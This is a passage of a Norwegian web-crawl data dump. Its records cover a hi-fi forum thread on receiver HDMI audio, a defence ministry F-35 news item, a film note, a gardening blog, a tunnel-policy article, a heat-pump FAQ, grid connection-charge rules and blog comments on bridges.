arkivet til HiFi Klubben, men er redd dette er problemet ditt :neutral:\n    \n      Svar med sitat Svar med sitat   \n    \n    -----\n\n5.   09-24-2012,\u00a014:59   \\#5 \n    \n     Intermediate  \n    \n    >  Opprinnelig postet av **Eirik84**\n    > \n    > Mulig jeg husker feil, men mener 1709 bare st\u00f8ttet bilde via hdmi og ikke lyd.  \n    > Vurderte den selv en periode, men droppet det da jeg syntes det ville bli tungvint \u00e5 m\u00e5tte kj\u00f8re lyd via coax/optisk ved siden av - for ikke \u00e5 snakke om tapet av HD-lyd..  \n    >   \n    > Finner ikke receiveren i arkivet til HiFi Klubben, men er redd dette er problemet ditt :neutral:\n    > \n    > nei, den st\u00f8tter HDMI ver 1.3 (a), s\u00e5 mulig du husker feil ja.\n    \n    -----\n\n6.   09-24-2012,\u00a015:08   \\#6 \n    \n    > Regner med at en egen digital lydkabel m\u00e5 til ja. Coax eller optisk. Leste litt p\u00e5 Klubbens arkiv p\u00e5 modellen som heter 1708 \u00e5 der st\u00e5r det: AVR-1708 har to HDMI-innganger og HDMI-switching, slik at du kan sende bilder og lyd fra f.eks. dvd-spiller og HD-spillkonsol (PlayStation 3, Xbox 360 Elite) direkte til flatskjermen din via en enkelt kabel. Legg merke til at det her er snakk om en ren video-switching funksjon. Det betyr at du m\u00e5 supplere med en digital coaxial-kabel for \u00e5 f\u00e5 full multikanal lyd p\u00e5 anlegget.  \n    > Er sikkert samme p\u00e5 din modell skulle jeg tro\n    \n", "language": "no", "__index_level_0__": "bd17e1dd-6859-4e71-adb6-1fdfcec3bda3"}
{"url": "https://www.regjeringen.no/no/aktuelt/Norge-og-Storbritannia-undertegnet-F-35-samarbeidskonsept/id752410/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:51:45Z", "text": "# Norge og Storbritannia undertegnet F-35-samarbeidskonsept\n\nNyhet | Dato: 04.03.2014  | Forsvarsdepartementet \n\nRepresentanter for de norske og britiske F-35-programmene undertegnet tirsdag et samarbeidskonsept under et m\u00f8te i Forsvarsdepartementet i Oslo. Konseptet bygger p\u00e5 innholdet i fellesuttalelsen som ble sendt ut i september 2013, og beskriver i mer detalj hvordan de to landene vil samarbeide rundt trening og drift av F-35 i Europa.\n\n\n\n*Programdirekt\u00f8r Anders Melheim i det norske Kampflyprogrammet (t.v.) og Air Marshal Simon Bollom fra den britiske materiellorganisasjonen DE\\&S signerte samarbeidskonseptet i Oslo 4. mars. (Forsvarsdepartementet)*\n\nRepresentanter for de norske og britiske F-35-programmene undertegnet tirsdag et samarbeidskonsept under et m\u00f8te i Forsvarsdepartementet i Oslo. Konseptet bygger p\u00e5 innholdet i fellesuttalelsen som ble sendt ut i september 2013, og beskriver i mer detalj hvordan de to landene vil videreutvikle samarbeidet rundt trening og drift av F-35 i Europa.\n\n\\- Hele F-35-anskaffelsen er basert p\u00e5 et samarbeid mellom partnere, og at flere land m\u00e5 jobbe sammen for \u00e5 finne nye og bedre l\u00f8sninger for \u00e5 drifte fremtidens kampfly. Det samarbeidet vi har etablert med britene n\u00e5 er en helt naturlig forlengelse av dette, og av det arbeidet som allerede gj\u00f8res innen det flernasjonale F-35-programmet, sier Anders Melheim som er programdirekt\u00f8r i det norske Kampflyprogrammet.\n\nNorge og Storbritannia har gradvis utviklet et tettere samarbeid rundt F-35 ettersom det har blitt mer og mer klart at det er stort sammenfall mellom landenes anskaffelsesplaner og ambisjoner. Et omr\u00e5de som er spesielt spennende er mulighetene for trening av flygere og teknikere for F-35.\n\n\\- I dag legger vi opp til \u00e5 trene flygerne v\u00e5re i USA slik vi har gjort med F-16, og denne planen ligger fast inntil videre. Det er likevel mye press p\u00e5 treningsplassene i USA, og n\u00e5r vi n\u00e5 for f\u00f8rste gang p\u00e5 lenge har mulighet til \u00e5 etablere et tettere samarbeid med britene p\u00e5 dette omr\u00e5det s\u00e5 er det absolutt interessant, sier Melheim.\n\nNorge har ikke operert et lignende kampfly som britene siden sent p\u00e5 50-tallet, og innf\u00f8ringen av F-35 gir derfor store muligheter for et bredere samarbeid rundt denne viktige kapasiteten. Programdirekt\u00f8ren mener dette kan v\u00e6re sv\u00e6rt positivt for Norge. Han understreker likevel at dette fortsatt er et konseptdokument og at dette forel\u00f8pig ikke forplikter noen av landene \u00f8konomisk eller operativt.\n\n\\- Vi deler mange sikkerhetsutfordringer i Europa med britene, og som den eneste niv\u00e5-1 partneren i F-35-programmet vil de v\u00e6re en viktig samarbeidspartner for Norge.\u00a0Samarbeidet rundt vedlikehold skal uansett organiseres gjennom det flernasjonale programmet som vi begge er medlemmer av \u2013 det er ikke snakk om at vi skal sette opp noe eget norsk-britisk system, men at vi skal se p\u00e5 hvordan vi best kan organisere oss innenfor det eksisterende samarbeidet, sier Melheim.\n\n*For mer informasjon eller kommentarer, kontakt pressevakt i Forsvarsdepartementet p\u00e5 tlf 23096011* - *firstname.lastname@example.org eller kommunikasjonsr\u00e5dgiver i Kampflyprogrammet Endre Lunde p\u00e5 90853270 -* email@example.com*.*\n\n**Fakta om den norske anskaffelsen av F-35 (per mars 2014): Les mer p\u00e5 kampfly.no**\n\n  - **Norge skal anskaffe inntil 52 kampfly av typen F-35 for \u00e5 sikre at Forsvaret ogs\u00e5 i fremtiden skal kunne l\u00f8se sine oppdrag p\u00e5 best mulig m\u00e5te.**\n  - **Anskaffelsen er beregnet \u00e5 koste 64 milliarder reelle 2014-kroner. De overordnede norske kostnadsestimatene har v\u00e6rt stabile siden 2008.**\n  - **De f\u00f8rste fire F-35 som skal brukes til trening av norske mannskaper ble besluttet anskaffet i 2011. De to f\u00f8rste av disse skal leveres i USA i 2015 og de to siste i 2016.**\n  - **Stortinget gav 2013 regjeringen fullmakt til \u00e5 bestille de 12 f\u00f8rste flyene i hovedanskaffelsen av F-35 som skal leveres i 2017 og 2018. Samlet er det gitt fullmakt til 16 fly, inkludert fly til treningsform\u00e5l.**\n\n", "language": "no", "__index_level_0__": "d6c44f2f-0543-4c73-b3bd-d0656070c14a"}
{"url": "http://montages.no/2009/05/gaspar-noes-neste-en-familiefilm/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:28:22Z", "text": "# Gaspar No\u00e9s neste \u2013 en familiefilm?\n\nAv Eirik Smidesang Sl\u00e5en 14. mai 2009\n\nNoen ganger er sitater nok. Cannes-aktuelle **Gaspar No\u00e9** fortalte pressen om sitt neste filmprosjekt, og etter \u00e5 ha satt ny standard for vold p\u00e5 film med **Irr\u00e9versible** og **Seul Contre Tous**, h\u00f8res dette mildt sagt bisart ut, spesielt siden han selv betegner det som en familiefilm:\n\n*I never saw a movie that mixed both real emotions and explicit sex. In life, sex is the focus of most people. They are not obsessed with money or social recognition. They are obsessed with sex. Why do we never see it portrayed for the joy it brings.*\n\n#### Cannes 2014\n## Teaser til Snarveien\n\n", "language": "no", "__index_level_0__": "bf2ce93c-ba79-4bad-ae10-bfc2bc639444"}
{"url": "http://godtsuntogbillig.blogspot.fr/2013/02/kjkkenhagen-del-2-2012.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:49:02Z", "text": "## 27\\. feb. 2013\n### Kj\u00f8kkenhagen del 2 2012\n\n## Hvordan dyrke poteter og gulr\u00f8tter, n\u00e5r jorda er steinhard, full av klumper og plassen er begrenset?\n\nAlle rotvekster trenger l\u00f8s jord for \u00e5 utvikle knoller, gulr\u00f8tter trenger god l\u00f8s jord for \u00e5 vokse seg nedover ellers blir de korte og morsomme :-P Poteter er umulig \u00e5 f\u00e5 opp av jorda n\u00e5r overflaten blir steinhard, men de er veldig flinke til \u00e5 gj\u00f8re d\u00e5rlig jord god ved \u00e5 tilsette nitrogen ;-)\n\nAlts\u00e5 er gode r\u00e5d dyre, og da kjenner vi jo til melkekartongene som vi dyrket gulr\u00f8tter i n\u00e5r vi var sm\u00e5... s\u00e5 f\u00f8rste \u00e5ret brukte vi stor 5 liters vannflasker som vi skj\u00e6rte bunnen av og tok av korken, det fungerte ganske s\u00e5 bra, men lite estetisk og vanskeig \u00e5 holde orden p\u00e5, s\u00e5 i fjor pr\u00f8vde jeg store blomsterpotter, men det ble mer ugress enn gulr\u00f8tter. Potetene som jeg satte de f\u00f8rste \u00e5ret vokser opp v\u00e6rt \u00e5r siden jeg ikke greier \u00e5 f\u00e5 de opp :-)\n\nMen i \u00e5r skal det g\u00e5 bedre ;-) Gulr\u00f8tter og redikker ble s\u00e5dd den 25. Mars...\n\n\n\n  \nJeg har fylt et stort septikring med l\u00f8s jord (gave fra hestene), vel halm og d\u00e5rlig jord i bunnen og minst 30 cm l\u00f8s jord, for \u00e5 minske ugresset har jeg vannet og latt det st\u00e5 ett par uker, da har det v\u00e6rste lurt seg opp av jorden og kunne tas vekk f\u00f8r jeg s\u00e5dde gulr\u00f8tter og reddiker. Deretter plantet jeg noen l\u00f8k, for det holder gulrotflua unna...\n\nN\u00e5r jeg s\u00e5 gulr\u00f8ttene blander jeg fr\u00f8ene med reddiker som vokser veldig fort og bare i \u00f8verste laget...\n\nS\u00e5 var det poteter, da falt jeg for denne l\u00f8sningen:\n\nEn stor s\u00f8ppelpose fylt med jord, og to settepoteter i hver, stikk noen hull i bunnen og sett de hvor du vil ;-)\n\nDet ble ti turer med b\u00f8tter for \u00e5 hente 300 l\u00a0 med jord, og s\u00e5 skal jeg fortsette \u00e5 fylle p\u00e5 jord n\u00e5r de begynner \u00e5 vokse...\n\n \n\nPotetene ble satt den 27. Mars.  \nN\u00e5 tar det 100 dager f\u00f8r jeg kanskje f\u00e5r nypoteter og 130 dager til de er store poteter...m\u00e5 bare ikke glemme \u00e5 vanne... og s\u00e5 f\u00e5r vi se om det var en god ide eller ikke, de er kanskje ferdig kokt ogs\u00e5...\n\nihvertfal har jeg eventuelt god jord ikke s\u00e5 langt unna ;-)\n\n\n\n Publisert av  \n\nHege Nitteberg  at \n\n10:55  \n\n", "language": "no", "__index_level_0__": "a8dd7067-c475-49b3-adbc-debe8bfb0a31"}
{"url": "https://www.dagsavisen.no/fremtiden/stortingsflertallet-gar-for-tunnel-fremfor-bro-1.979979", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:44:57Z", "text": "\n\n\n\nOslofjordtunnelen er stengt ekstremt ofte. Likevel mener politikerne et nytt tunnell\u00f8p under Oslofjorden er en bedre id\u00e9 enn \u00e5 lage bro.\n\n\nOslofjordtunnelen er stengt ekstremt ofte. Likevel mener politikerne et nytt tunnell\u00f8p under Oslofjorden er en bedre id\u00e9 enn \u00e5 lage bro.\n\n# Stortingsflertallet g\u00e5r for tunnel fremfor bro\n\n## Regjeringspartiene og st\u00f8ttepartiene er enige om nytt tunnell\u00f8p i tilknytning til Oslofjordtunnelen. Partiene \u00f8nsker ikke bro.\n\n** ** Publisert 12. jun 2017 \u00a0 Sist oppdatert: 13:17, 12. jun 2017 \u00a0\n\n## Anbefalte saker\n\nFremtiden  \n\nDet ble klart da transport- og kommunikasjonskomiteen la fram sin innstilling til Nasjonal transportplan for Stortinget mandag.\n\nI NTP har regjeringen satt av 4,5 milliarder kroner til et nytt tunnell\u00f8p, men har fram til n\u00e5 ikke tatt et endelig valg. Et alternativ har v\u00e6rt stenging av Oslofjordtunnelen og isteden broforbindelse mellom Frogn og R\u00f8yken via H\u00e5\u00f8ya.\n\n\u2013 M\u00e5let er oppstart i f\u00f8rste periode. Det vil gi betydelig bedre trafikksikkerhet med et nytt tunnell\u00f8p n\u00e5r dette kommer i gang, sier Nikolai Astrup (H), leder av transportkomiteen.\n\n### \u2013 God sikkerhet\n\nHan mener sikkerheten vil v\u00e6re godt ivaretatt med kun tunnel.\n\n\u2013 En bro koster 16\u201317 milliarder kroner. Og hvis man velger en bro, vil det skyve gjennomf\u00f8ringen mange, mange \u00e5r fram i tid. Vi trenger en rask avklaring, sier han.\n\n\u2013 Vi mener at dette f\u00f8rst og fremst blir en trygg l\u00f8sning. N\u00e5r du legger to parallelle l\u00f8p med mulighet for r\u00f8mningsvei, s\u00e5 har du lagt til rette for sikkerheten. Derfor kan vi v\u00e6re trygge p\u00e5 \u00e5 anbefale en tunnell\u00f8sning, sier KrFs Hans Fredrik Gr\u00f8van.\n\nOslofjordtunnelen har flere ganger blitt stengt p\u00e5 grunn av branner, sist 5. mai, da en lastebil tok fyr. 300 meter av den totalt 7 kilometer lange tunnelen var totalskadd etter brannen. Ingen ble alvorlig skadd.\n\n### 1.000 milliarder\n\nSamarbeidspartiene er kritiske til Ap, som ikke har kommet til noen konklusjon om bro eller nytt tunnell\u00f8p. Aps samferdselspolitiske talsmann Eirik Sivertsen sa i begynnelsen av mai at de ikke kunne komme til noen konklusjon fordi de ikke hadde f\u00e5tt tilstrekkelig informasjon fra regjeringen.\n\n\u2013 Regjeringen har ikke gjort jobben sin. Det er regjeringen som skal gj\u00f8re konseptvalg. Det foreligger ikke noe beslutningsgrunnlag som gj\u00f8r det mulig for Stortinget \u00e5 komme til en beslutning. S\u00e5 vi er n\u00f8dt til \u00e5 avvente at regjeringen gj\u00f8r det den skal, sa Sivertsen.\n\nTotalt legger de fire samarbeidspartiene opp til \u00e5 bruke over 1.000 milliarder kroner p\u00e5 vei, bane, kystanlegg, lufthavner og godstransport i Nasjonal Transportplan de neste tolv \u00e5rene. Blant de store prosjektene som regjeringen og st\u00f8ttepartiene n\u00e5 vil realisere, er den nye Ringeriksbanen, InterCity-jernbane mellom byene p\u00e5 \u00d8stlandet, flere E39-prosjekter som Rogfast, Hordfast og M\u00f8reaksen, Stad skipstunnel, H\u00e5logalandsvei og opprusting av E6 i nord, og en opprustet E18 i hele veiens lengde.\n\n### Refser Arbeiderpartiet\n\nH\u00f8yre, Frp, KrF og Venstre mener videre at velgerne kan glemme Arbeiderpartiets veil\u00f8fter. Partiene er enige om at Ap f\u00f8rer velgerne bak lyset ved \u00e5 unnlate \u00e5 komme med en troverdig finansiering for sine l\u00f8fter om mer vei og bane.\n\nAlle de fire partiene mener Aps manglende prioritering av prosjekter g\u00e5r ut over troverdigheten til transportplanen. Partiene viser til at Ap legger fram en plan med titalls milliarder kroner i underdekning.\n\nKrFs Hans Fredrik Gr\u00f8van sier Aps plan er helt verdil\u00f8s n\u00e5r de ikke viser hvor pengene til nye prosjekter skal komme fra. Venstres Abid Q. Raja sier Ap undergraver hele NTP ved \u00e5 servere en ren \u00f8nskeliste over prosjekter, men uten prioriteringer.\n\n\u2013 Alt skal komme f\u00f8rst uten at de viser hvordan. Dette betyr at samtlige prosjekter Ap har listet opp, settes i spill. sier Raja.\n\n", "language": "no", "__index_level_0__": "5085ece9-4275-43b7-a4b4-a34df34d42b3"}
{"url": "http://www.energismart.no/faq-luft-luft-varmepumpe/category883.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:26:05Z", "text": "### Hvordan virker en luft-luft varmepumpe?\n\nSelv om dagens varmepumper blir stadig mer effektive har prinsippene bak v\u00e6rt de samme i flere ti\u00e5r.\u00a0Alle varmepumper\u00a0henter varmeenergi fra omgivelsene, og bruker\u00a0\u00a0Luft-luft\u00a0varmepumpen bruker uteluften som varmekilde, og\u00a0luft for\u00a0\u00e5 avgi varmen til boligen.\n\n\u00a0De viktigste komponentene i en luft-luft\u00a0varmepumpe er:  \n\u00a0  \n**Utedel **\n\nUtedelen henter varmeenergien fra uteluften gjennom en vifte som suger luft\u00a0inn.\u00a0\u00a0\n\n**Innedel**\n\nInnedelen sprer varmen som varmepumpen har produsert til boligen gjennom en vifte. Det finnes ulike typer innedeler. Den vanligste typen henges p\u00e5 veggen under takh\u00f8yde, og bl\u00e5ser den varme luften bort og nedover,\u00a0men det finnes ogs\u00e5 innedeler som plasseres p\u00e5\u00a0gulvet,\u00a0eller som kan bygges inn i veggen.\n\n**Arbeidsmedium **\n\nSelve varmepumpen best\u00e5r av en lukket r\u00f8rkrets. Inne i denne r\u00f8rkretsen sirkulerer det en v\u00e6ske med lavt kokepunkt, et s\u00e5kalt arbeidsmedium.\u00a0De fleste varmepumper i dag benytter\u00a0HFK-gassen\u00a0R410A som arbeidsmedium, men det\u00a0finnes\u00a0ogs\u00e5 andre gasser i bruk\u00a0f.eks\u00a0propan, CO2 og\u00a0amoniakk.\n\n**Fordamper og kondensator **\n\nEn fordamper er en varmeveksler der arbeidsmediet tilf\u00f8res energi fra uteluften. Da fordamper v\u00e6sken\u00a0og blir til gass.\u00a0Kondensatoren er en varmeveksler der arbeidsmediet avgir energi til boligen, kondenserer\u00a0og blir til v\u00e6ske. \n\n**Kompressor\u00a0og reduksjonsventil**\n\nHele sirkulasjonen av arbeidsmediet drives av en kompressor. Kompressoren\u00a0\u00f8ker trykket, kokepunktet og\u00a0temperaturen p\u00e5 arbeidsmediet inne i r\u00f8rkretsen,\u00a0s\u00e5nn at det kan avgi energi til boligen via\u00a0kondensatoren. Reduksjonsventilen reduserer trykket, temperaturen\u00a0og dermed ogs\u00e5 kokepunktet og p\u00e5 arbeidsmediet\u00a0s\u00e5nn at det kan oppta\u00a0energi fra uteluften i fordamperen.\n\n**Styringsenhet**\n\nStyringsenheten regulerer varmepumpens ytelse basert p\u00e5 hvilket oppvarmingsbehov du har.\n\n\u00a0\n\n### Hva menes med COP og SCOP?\n\nOrdene virkningsgrad, varmefaktor, COP og SCOP er forskjellige ord vi bruker\u00a0for \u00e5 beskrive\u00a0hvor effektiv en varmepumpe\u00a0er.\u00a0\n\n\u00a0\n### Hva betyr COP?\n\nCOP (eller\u00a0coefficient of performance) sier hvor effektiv en varmepumpe er under gitte forhold. P\u00e5 norsk kaller vi gjerne dette varmefaktor eller\u00a0virkningsgrad.\n\nCOP m\u00e5les gjerne ved +7 grader ute og +20 grader inne, og n\u00e5r\u00a0varmepumpen\u00a0har optimale driftsforhold. (Kompressordrift p\u00e5 40 - 50 %)\u00a0\n\nMange produsenter oppgir COP p\u00e5 f.eks 5.\u00a0Da bruker\u00a0varmepumpen\u00a0\u00e9n kWh str\u00f8m, men gir deg 5 kWh i varmeenergi under de gitte forholdene. Det er ganske stilig.\n\nOppgir varmepumpeprodusentene COP ved lavere temperaturer, kan\u00a0det\u00a0lurt \u00e5 unders\u00f8ke hvor\u00a0effektiv varmepumpen er under de temperaturforholdene der du vil bruke varmepumpen din\u00a0mest. Jo h\u00f8yere score, jo mer effektiv er varmepumpen.\n\nUlike typer varmepumper oppn\u00e5r ulik COP.\u00a0\n\n\u00a0\n### Hva betyr SCOP?\n\nSCOP (eller\u00a0Seasonal Coefficient of Performance) beskriver\u00a0hvor effektiv en varmepumpe vil v\u00e6re\u00a0gjennom hele \u00e5ret, ved alle ute og innetemperaturer.\u00a0P\u00e5 norsk kaller vi derfor\u00a0dette\u00a0for \u00e5rsvarmefaktor eller \u00e5rsvirkningsgrad.\n\nDet er lurt \u00e5 unders\u00f8ke hvor h\u00f8y SCOP verdi som oppgis hos de\u00a0ulike varmepumpeprodusentene\u00a0og -modellene.\u00a0Jo h\u00f8yere verdi, jo mer effektiv vil varmepumpen v\u00e6re.\n\nUlike typer varmepumper har gjerne\u00a0ulik \u00e5rsvarmefaktor.\u00a0Generelt sett har sj\u00f8varmepumper og bergvarmepumper h\u00f8yere \u00e5rsvarmefaktor\u00a0enn luft-luft og luft-vann varmepumpene.\u00a0\n\n\u00a0\n### Hva er viktigst n\u00e5r du skal kj\u00f8pe varmepumpe?\n\nGenerelt sett vil\u00a0SCOP verdien, eller \u00e5rsvarmefaktoren\u00a0si mye mer om hvilken energibesparelse du faktisk kan forvente deg om du investerer i en varmepumpe, enn hva COP gj\u00f8r. Dette gj\u00f8r det ogs\u00e5 lettere \u00e5 vurdere ulike varmepumpetyper, hvor SCOP verdien varierer mest,\u00a0opp mot hverandre.\u00a0Det er\u00a0postitivt at produsentene har begynt \u00e5 oppgi\u00a0dette.\u00a0\n\nSamtidig er det\u00a0komplisert \u00e5 beregne \u00e5rsvirkningsgrad. Familier er forskjellige, og n\u00e5r de i tillegg bor i ulike boliger som ligger i forskjellige\u00a0klimasoner vil \u00e5rsvirkningsgraden i praksis variere mye. I tillegg har\u00a0installat\u00f8ren langt mer\u00a0\u00e5 si p\u00e5 om du f\u00e5r et effektivt, velfungerende\u00a0anlegg eller ikke.\u00a0\n\nBor du i et omr\u00e5de med litt spesielle klimatiske forhold\u00a0- enten det er kaldt, eller mildt om vinteren - er\u00a0det\u00a0lurt \u00e5 velge en modell som yter godt i de forholdene og temperaturene der du vil bruke varmepumpen mest. Da kan COP v\u00e6re et nyttig verkt\u00f8y.\n\n\u00a0\n", "language": "no", "__index_level_0__": "039e1d81-6b1e-4eca-9d45-882ef33a8e25"}
{"url": "http://docplayer.me/40686505-Fradrag-i-beregnet-anleggsbidrag-bunnfradraget-i-mip-kraftnett-er-for-tiden-kr-for-nyanlegg-og-reinvesteringer.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-25T00:25:55Z", "text": "# Fradrag i beregnet anleggsbidrag. Bunnfradraget i MIP Kraftnett er for tiden kr ,- for nyanlegg og reinvesteringer.\n\n2 2 Kundespesifikke anleggsdeler: Anleggsdeler hvor en kunde/ kundegruppe er eneste bruker og hvor det ikke er sannsynlig at det kan tilknyttes flere kunder. Med kundegruppe menes her et endelig definert antall kunder. Radielle fellesanlegg: Nettanlegg som forsyner flere kunder, eller hvor det er sannsynlig at det vil bli tilknyttet flere kunder. Dette er eksempelvis nettstasjon inklusiv transformator og bryteranlegg, h\u00f8yspenningsforbindelser, lavspenningsforbindelser og fordelingsskap. 3 Kriterier for bruk av anleggsbidrag Anleggsbidrag skal kreves i alle saker der det m\u00e5 foretas investeringer \\> kr ,- i nettet som f\u00f8lge av: Tilknytning av nye kunder Forsterkninger av nettet til eksisterende kunder n\u00e5r kunden selv ettersp\u00f8r \u00f8kt kapasitet Dekning av kostnader for tiltak som ikke inng\u00e5r i kriteriene over, eksempelvis flytting av anlegg eller etablering av provisoriske anlegg, defineres ikke som anleggsbidrag. Slike kostnader dekkes i sin helhet av den som bestiller slike tiltak. Det er heller ikke anledning til \u00e5 kreve anleggsbidrag ved fornying av nettet for \u00e5 opprettholde energileveransen, eller ved tiltak som iverksettes for \u00e5 gi kundene en tilfredsstillende leveringskvalitet. 4 Prinsipp for beregning av anleggsbidrag Anleggsbidraget skal inneholde alle kundespesifikke kostnader og en andel av kostnadene for radielle fellesanlegg. Kostnader ved kundespesifikke anlegg skal i sin helhet dekkes av kunden. Minste standard l\u00f8sning i forhold til kundens effektbehov kan legges til grunn, selv om kapasiteten/kapasitets\u00f8kningen er st\u00f8rre enn kundens behov. Kostnader knyttet til radielle fellesanlegg skal fordeles slik at en forholdsmessig andel inng\u00e5r i anleggsbidraget. Kostnadene skal fordeles mellom kundene ut fra forholdet mellom total kapasitet p\u00e5 anleggsdelene og den andel av kapasiteten hver enkelt kunde beslaglegger. Beregningen av anleggsbidrag gj\u00f8res i et eget regneark.\n\n3 3 Kunden skal v\u00e6re informert om og ha akseptert et estimat for anleggsbidraget f\u00f8r utbygging starter. Dersom det skjer endringer underveis i prosjektet som vil gi avvik p\u00e5 mer enn 30% mellom estimert og faktisk etterberegnet anleggsbidrag, skal kunden informeres og akseptere dette f\u00f8r arbeidet ferdigstilles. Ved innkreving av anleggsbidraget skal faktiske medg\u00e5tte kostnader legges til grunn. Fastsettelse av kostnadsgrunnlag Kostnadsgrunnlaget beregnes ut fra MIP Kraftnett sin standard for bygging av nett. Alt utstyr fram til grensesnitt mot kunde er MIP Kraftnett sin eiendom. Det er i sin helhet MIP Kraftnett som velger teknisk l\u00f8sning, basert p\u00e5 de normer og anbefalinger som er gjeldende for nettanlegg. Kostnadsgrunnlaget omfatter i utgangspunktet alle prosjektkostnader som normalt vil bli aktivert i MIP Kraftnett sin balanse. Dette omfatter bl.a. kostnader med innkj\u00f8p av eksterne tjenester, materialkostnader, timekostnader og andre interne kostnader som blir f\u00f8rt p\u00e5 prosjektet. Materialkostnadene skal baseres p\u00e5 nypris for alle nettkomponenter. Bruk av reserveaggregat (for \u00e5 unng\u00e5 avbrudd hos andre nettkunder) eller KILE-kostnader inng\u00e5r ikke i kostnadsgrunnlaget. Timekostnader best\u00e5r b\u00e5de av timer som medg\u00e5r til prosjektering og utf\u00f8relse, samt timer som f\u00f8res p\u00e5 prosjektet i forbindelse med innm\u00e5ling og lignende. Kostnadsgrunnlaget omfatter de anleggsdelene som MIP Kraftnett normalt bygger frem til grensesnittet mot kunden, eks til byggets lavspenttavle eller kundens eget h\u00f8yspentanlegg. Graving av gr\u00f8fter skal i utgangspunktet utf\u00f8res av MIP Kraftnett, og gravekostnadene inng\u00e5r i kostnadsgrunnlaget p\u00e5 samme m\u00e5te som andre anleggskostnader. I tilfeller der det er hensiktsmessig \u00e5 legge til rette for framtidig utbygging av nettet ved \u00e5 legge kabler til framtidige prosjekter i samme gr\u00f8ft, skal MIP Kraftnett dekke merkostnadene med bredere og/eller dypere gr\u00f8ft.\n\n4 4 Alle MIP Kraftnetts kostnader fram til grensesnitt med kunden skal inng\u00e5 i kostnadsgrunnlaget. Kostnadene med kabelfremf\u00f8ringen etter grensesnittet skal i sin helhet dekkes av kunden. Ved fastsettelse av kostnadsgrunnlaget skal det gis fratrekk for f\u00f8lgende prosjektkostnader: Kostnader som dekkes av andre, eksempelvis andre infrastruktureieres andel av fellesgr\u00f8fter. Restverdi p\u00e5 anleggsdeler/nettkomponenter som skiftes ut og som kan brukes om igjen andre steder i nettet, som for eksempel h\u00f8yspenningsbryteranlegg. Dersom anleggskostnadene omfatter fornying (reinvesteringer) eller opprusting av eksisterende anleggsdeler skal kostnadsgrunnlaget oppjusteres med kapasitets\u00f8kning og fremskyndingskostnader. Dette m\u00e5 behandles spesielt. Beregning av fremskyndingskostnader Fremskyndingskostnader er merkostnader ved \u00e5 reinvestere f\u00f8r restlevetid tilsier at komponenten uansett m\u00e5 skiftes. Teknisk restlevetid skal dokumenteres p\u00e5 komponentniv\u00e5. Ved beregning av teknisk restlevetid skal f\u00f8lgende forventete tekniske levetid legges til grunn for nettkomponenter i distribusjonsnettet: Kabler 70 \u00e5r Transformatorer 70 \u00e5r H\u00f8yspenningsbrytere og fordelingstavler 50 \u00e5r Kabelfordelingsskap 40 \u00e5r Nettstasjonsbygg i betong 80 \u00e5r Nettstasjonsbygg i andre materialer enn betong 40 \u00e5r Luftlinjer lavspenningsnett 40 \u00e5r Luftlinjer h\u00f8yspenningsnett 50 \u00e5r For luftlinjer fastsettes restlevetid i hvert enkelt tilfelle ut fra teknisk tilstand. For alle anleggsdeler skal bl.a. feilstatistikk og tilstandskontroll legges til grunn for fastsettelse av restlevetid.\n\n", "language": "no", "__index_level_0__": "43c25101-cd56-41dc-b0ac-50e063f18262"}
{"url": "http://on2wheels-gawo.blogspot.com/2008/04/broer-som-binder-sommer-som-vinter.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:46:16Z", "text": "## mandag 7. april 2008\n\n### Broer som binder - sommer som vinter\n\nHvordan kan du p\u00e5st\u00e5 at det er trygt \u00e5 passere disse plankene p\u00e5 vinterstid. Jeg er ikke st\u00f8dig nok i min ballansekunst til \u00e5 fors\u00f8ke noe slikt. Derfor BYP\u00c5SKE\n\n 09:55    \n\n\n\n\n\nImponerende innsats bak b\u00e5de blogsinnslag og brobygging\\! Her m\u00e5 det v\u00e6re brukt helikopter p\u00e5 st\u00e5lbroen i alle fall\\! Samtidig viser det enn\u00e5 en gang at for den enkelte person s\u00e5 er det sv\u00e6rt ofte den lille broen som brukes ofte som er den viktigste - den du har *virkelig* glede av\\!  \n\\-----  \nImpressive both blog and bridges. A helicopter must have lifted that steel bridge. At the same time your post shows that for the ordinary person, it is the small bridge that is often used that is the most important - the one that gives you *real* pleasure\n\n 10:05    \n\n\n\n\n\nNice set of Bridges, and different weathers too.  \n  \n\n\n\n\nAnne-Berit sa...\n\nS\u00e5 vakre bilder,og selv om broene er sm\u00e5,s\u00e5 er de nyttige for de som trenger dem.Selv hadde jeg nok ikke turt \u00e5 g\u00e5 over den jernbrua,syns den s\u00e5 skummel ut,hehe,men s\u00e5 blir jo jeg helt sjelven p\u00e5 tredje trinnet i en stige ogs\u00e5 da:o)\n\n 12:23    \n\n \n\nHei, hei\\! N\u00e6h, hi itj kommi m\u00e6 p\u00e5 \"Wingen\" einda, n\u00e6i... Her har vi vinter enda... bare veier, men i dag sn\u00f8r det... Men jeg har en \"halvdel\" jeg vet hvor befinner seg i ledige stunder for tida, s\u00e5 det er nok snart v\u00e5r =0)  \nJo, dette med broer, viktige saker, kanskje vi skulle tenkt litt mer over det, hver gang vi kj\u00f8rer/g\u00e5r over en, hvordan det ville v\u00e6rt uten...\n\n 13:26    \n\n \n\nNilla sa...\n\nGodt det fins brobyggere:)  \n  \nFlotte bilder og broer...  \n  \nHa en fin dag.\n\n 14:55    \n\n \n\nDaniel J Santos sa...\n\nBeautiful images, excellent.\n\n 15:11    \n\n\n\n\n\nANNA-LYS sa...\n\nH\u00e4ftiga broar,  \nDe m\u00e5ste vara speciellt f\u00f6r tv\u00e5hjuliga fordon :-)\n\n 16:22    